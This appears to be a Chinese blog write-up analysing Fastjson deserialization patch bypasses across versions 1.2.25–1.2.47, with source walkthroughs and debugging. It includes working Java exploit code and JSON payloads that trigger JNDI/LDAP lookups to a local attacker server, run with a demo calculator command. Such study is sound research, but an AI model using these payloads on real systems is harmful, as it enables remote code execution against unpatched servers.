Java-Fastjson历史补丁绕过(一)
Flow

前言

回顾

回顾一下fastjson反序列化利用

漏洞原理:fastjson 在反序列化的时候会去找我们在 @type 中规定的类是哪个类,然后在反序列化的时候会自动调用这些 setter 与 getter 方法的调用

1.2.24版本反序列化利用,小小画了个图

正题

这篇笔记讲1.2.25版本及以后的各版本补丁绕过,了解绕过之前,我们需要知道官方是怎么打补丁的

历史补丁版本绕过的利用,都必须开启AutoTypeSupport才能成功

Fastjson1.2.25版本修复细节

checkAutoType()方法

上图是1.2.24版本,下图是1.2.25版本

可以看到修补方案就是将DefaultJSONParser.parseObject()函数中的TypeUtils.loadClass替换为checkAutoType()函数

现在看一下checkAutoType()方法的逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
if (typeName == null) {
return null;
} else {
String className = typeName.replace('$', '.');
// autoTypeSupport默认为False
// 当autoTypeSupport开启时,先白名单过滤,匹配成功即可加载该类,否则再黑名单过滤
if (this.autoTypeSupport || expectClass != null) {
int i;
String deny;
for(i = 0; i < this.acceptList.length; ++i) {
deny = this.acceptList[i];
if (className.startsWith(deny)) {
return TypeUtils.loadClass(typeName, this.defaultClassLoader);
}
}

for(i = 0; i < this.denyList.length; ++i) {
deny = this.denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}

// 从Map缓存中获取类,这是后面版本的漏洞点
Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
if (clazz == null) {
clazz = this.deserializers.findClass(typeName);
}

if (clazz != null) {
if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
} else {
return clazz;
}
} else {
// 当autoTypeSupport未开启时,先黑名单过滤,再白名单过滤,若白名单匹配上则直接加载该类,否则报错
if (!this.autoTypeSupport) {
String accept;
int i;
for(i = 0; i < this.denyList.length; ++i) {
accept = this.denyList[i];
if (className.startsWith(accept)) {
throw new JSONException("autoType is not support. " + typeName);
}
}

for(i = 0; i < this.acceptList.length; ++i) {
accept = this.acceptList[i];
if (className.startsWith(accept)) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}

return clazz;
}
}
}

if (this.autoTypeSupport || expectClass != null) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
}

if (clazz != null) {
if (ClassLoader.class.isAssignableFrom(clazz) || DataSource.class.isAssignableFrom(clazz)) {
throw new JSONException("autoType is not support. " + typeName);
}

if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
return clazz;
}

throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}

if (!this.autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
} else {
return clazz;
}
}
}
}

checkAutoType()大概逻辑就是使用黑白名单的方式对反序列化的类型做过滤,acceptList是白名单(默认为空,可手动添加),denyList为黑名单(默认不为空,在这个类最前面可以看到一堆)

可以看到denyList有这么多,把一下常见利用链用到的包都给ban了

1
this.denyList = "bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils,org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4.comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util,org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,org.python.core,org.springframework".split(",");

然后现在使用之前1.2.24版本的payload会报错not support

调试可以看到程序走到了这里,autoTypeSupport也是假的

autoTypeSupport

autoTypeSupport是checkAutoType()函数出现后ParserConfig.java中新增的一个配置选项,在checkAutoType()函数的某些代码逻辑起到开关的作用。

默认情况下autoTypeSupport为False,将其设置为True有两种方法:

  • JVM启动参数:-Dfastjson.parser.autoTypeSupport=true
  • 代码中设置:ParserConfig.getGlobalInstance().setAutoTypeSupport(true);,如果有使用非全局ParserConfig则用另外调用setAutoTypeSupport(true);

AutoType白名单设置方法:

  1. JVM启动参数:-Dfastjson.parser.autoTypeAccept=com.xx.a.,com.yy.
  2. 代码中设置:ParserConfig.getGlobalInstance().addAccept("com.xx.a");
  3. 通过fastjson.properties文件配置。在1.2.25/1.2.26版本支持通过类路径的fastjson.properties文件来配置,配置方式如下:fastjson.parser.autoTypeAccept=com.taobao.pac.client.sdk.dataobject.,com.cainiao.

之前就有遇到这个,1.2.24用TemplatesImpl的链子,当时我还问了下ai为什么要设置这个参数

总结补丁手段

1.2.25版本开始不直接用loadClass方法,是用来checkAutoType()方法,里面包括黑名单白名单检测,用这个方法来防御fastjson反序列化漏洞,所以后面版本针对fastjson的反序列化漏洞都是针对黑名单的绕过来实现攻击。

寻找可用利用链

前面我们看到fastjson把黑名单以明文的形式存储,后面为了防止安全研究者对其进行研究,提高漏洞利用门槛改成了哈希形式的黑名单

有人已在Github上跑出了大部分黑名单包类:https://github.com/LeadroyaL/fastjson-blacklist

1.2.25 - 1.2.41 补丁绕过

现在把fastjson版本调成1.2.41,再运行前面的exp,看看效果

可以看到就是不支持这个类

绕过手法就是尝试在 com.sun.rowset.JdbcRowSetImpl 前面加一个 L,结尾加上 ; 绕过

同时需要开启 AutoTypeSupport

EXP

1
2
3
4
5
6
7
8
9
10
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class BypassEXP {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload ="{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"ldap://127.0.0.1/HfNbfkLxmM/CommonsCollections5/Exec/eyJjbWQiOiJvcGVuIC1hIGNhbGN1bGF0b3IifQ==\",\"autoCommit\":\"true\" }";
JSON.parse(payload);
}
}

成功弹计算机了

调试分析

断点打在ParserConfig的checkAutoType()方法,进来走到这里,可以看到有黑名单的循环判断,我们这时候的typeName都不符合,不会进到里面被抛异常

比较重要的是来到下面有一个TypeUtils.loadClass(),跟进去

有个语句判断className类名是不是以L开头以;结尾,如果是就把类名这两个元素删掉,处理后变成com.sun.rowset.JdbcRowSetImpl,后面就可以继续变成恶意代码给我们使用了

前面1.2.24版本有三种利用链,用这个绕过方式我尝试了另外两种方式,TemplatesImpl是可以的,BasicDataSource不行,调试了一下发现后面有一个判断

DataSource.class.isAssignableFrom(clazz)是用来判断目标类clazz是否继承自javax.sql.DataSource接口,而org.apache.tomcat.dbcp.dbcp2.BasicDataSource这个类就刚好符合条件,最后抛出异常,没有弹计算器。

1.2.42版本补丁绕过

这次的paylaod变成了LLcom.sun.rowset.JdbcRowSetImpl;;,在类名前后加更多的L和;

修复过程中只考虑到了Lcom.sun.rowset.JdbcRowSetImpl;情况,并对其中的类名进行了一次提取,并将提取后的结果取hashCode进行判断,导致LLcom.sun.rowset.JdbcRowSetImpl;;或者前后加更多的L和;也能进行绕过

看一下代码

走到这个地方发现多了一个判断然后去除前后L和;的情况,提取出className是com.sun.rowset.JdbcRowSetImpl就走到羡慕的黑名单判断,但只有一次

所以我们加多对L和;就能绕过这个,继续走到后面的TypeUtils.loadClass

这里剔除完一对L和;后会继续递归调用自己类的loadClass方法,也就是再走一次剔除,直到最后没有L和;

利用这个特点和前面只有一次剔除,我们可以加多对L和;绕过1.2.42版本的补丁

1.2.43版本补丁绕过

修复思路

这次给两个L和;,走到这里发现就会抛异常了

两个if的大概思路就是先判断类名开头结尾是不是分别是L和;如果是第二个if判断第二个字符如果也是L,那就异常

payload

现在paylaod变成

1
String payload ="{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{,\"dataSourceName\":\"ldap://127.0.0.1/HfNbfkLxmM/CommonsCollections5/Exec/eyJjbWQiOiJvcGVuIC1hIGNhbGN1bGF0b3IifQ==\",\"autoCommit\":\"true\" }";

重点在"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{

如果payload只是单纯写"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"会报错

1
Exception in thread "main" com.alibaba.fastjson.JSONException: exepct '[', but ,, pos 42, json : { ...

期待在第一个逗号前面也就是第42个字符有一个[,我们添加之后继续报错

1
Exception in thread "main" com.alibaba.fastjson.JSONException: syntax error, expect {, actual string, pos 43

期待在第43位置有一个{,现在添加之后就能正常弹计算器了

调试分析

如果我们的payload是[com.sun.rowset.JdbcRowSetImpl,使用[自然绕过了前面对两个LL的检测,后面进入到TypeUtils.loadClass()里面

有一个判断是否以”[“开头的if判断语句,是的话就提取其中的类名,并调用Array.newInstance().getClass()来获取并返回类:

解析完返回的类名是[com.sun.rowset.JdbcRowSetImpl,通过checkAutoType()函数检测之后,继续走,会进入正常的反序列化流程

其中会提取数组中的成员类型并使用parser.parseArray 进行解析

当token不是14时,会抛出异常

满足这些判断就能顺利走到反序列化里面了

补充:

当前token不为12 或者 16时,即会判断是否为"{" 或者 ",",会在进入if流程后抛出异常,下面有一个char和token的对照关系;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
if (token != 12 && token != 16) {
...
if (token == 14 && lexer.getCurrent() == ']') {
lexer.next();
lexer.nextToken();
typeKey = null;
return typeKey;
} else {
StringBuffer buf = (new StringBuffer()).append("syntax error, expect {, actual ").append(lexer.tokenName()).append(", pos ").append(lexer.pos());
if (fieldName instanceof String) {
buf.append(", fieldName ").append(fieldName);
}

buf.append(", fastjson-version ").append("1.2.43");
throw new JSONException(buf.toString());
}

// fastjson-1.2.43.jar!/com/alibaba/fastjson/parser/JSONLexerBase.class
this.ch == ',' this.token = 16
this.ch == '[' this.token = 14
this.ch == '{' this.token = 12
this.ch == '\'' this.token = 4

因此依次满足上面的条件即可触发payload,有个问题是为什么"{"在逗号前后都能触发,解析过程中判断到当前字符为16,也就是逗号时,会直接跳过该字符,进入下一个字符的处理,因此在"["后无论是先写逗号还是"{",最终都是解析"{"字符

1
2
3
4
5
if (this.lexer.isEnabled(Feature.AllowArbitraryCommas)) {
while(this.lexer.token() == 16) {
this.lexer.nextToken();
}
}

1.2.44修复方式

commit

修复方式就是提取第一个字符判断是不是[

commit中还对之前Lxxx;类型payload的检测代码进行了合并,先检测第一个字符hashCode h1,为[抛出异常;再将其跟;做hashCode判断是否为之前的绕过。

1.2.45版本补丁绕过

EXP

利用前提条件:需要目标服务端存在mybatis的jar包,且版本需为3.x.x系列<3.5.0的版本

需要多加一个依赖

1
2
3
4
5
<dependency>
<groupId>org.mybatis</groupId>
<artifactId>mybatis</artifactId>
<version>3.3.0</version>
</dependency>

payload是,ldap和rmi都能用

1
2
3
4
5
6
7
{
"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
"properties":
{
"data_source":"ldap://localhost:1389/Exploit"
}
}

前面已经知道[绕过会被ban,后面找到了新的类org.apache.ibatis.datasource.jndi.JndiDataSourceFactory,根据黑名单hash对照表,这个类1.2.46版本后才被ban,现在还能用

调试分析

由于payload中设置了properties属性值,且JndiDataSourceFactory.setProperties()方法满足之前说的Fastjson会自动调用的setter方法的条件,因此可被利用来进行Fastjson反序列化漏洞的利用。

直接看到这个类里面的setProperties()方法

看到我们熟悉的lookup(),然后data_source可控,所以我们可以借此进行jndi注入

所以后来这个类在1.2.46版本就被加入黑名单ban了

1.2.47版本补丁绕过

setAutoTypeSupport为True 或者 False 都可以触发

  • 利用条件
    • 需要 1.2.33 ≤ Fastjson版本 ≤ 1.2.47,是否开启setAutoTypeSupport都能成功
    • 需要 1.2.25 ≤ Fastjson版本 ≤ 1.2.32,关闭setAutoTypeSupport能成功

payload

1
2
3
String payload  = "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},"
+ "\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\","
+ "\"dataSourceName\":\"ldap://127.0.0.1/xAsawYPoAx/CommonsCollections6/Exec/eyJjbWQiOiJvcGVuIC1hIGNhbGN1bGF0b3IifQ==\",\"autoCommit\":true}}";

调试分析

现在是1.2.47版本 开启AutoTypeSupport

 评论
评论插件加载失败
正在加载评论插件
由 Hexo 驱动 & 主题 Keep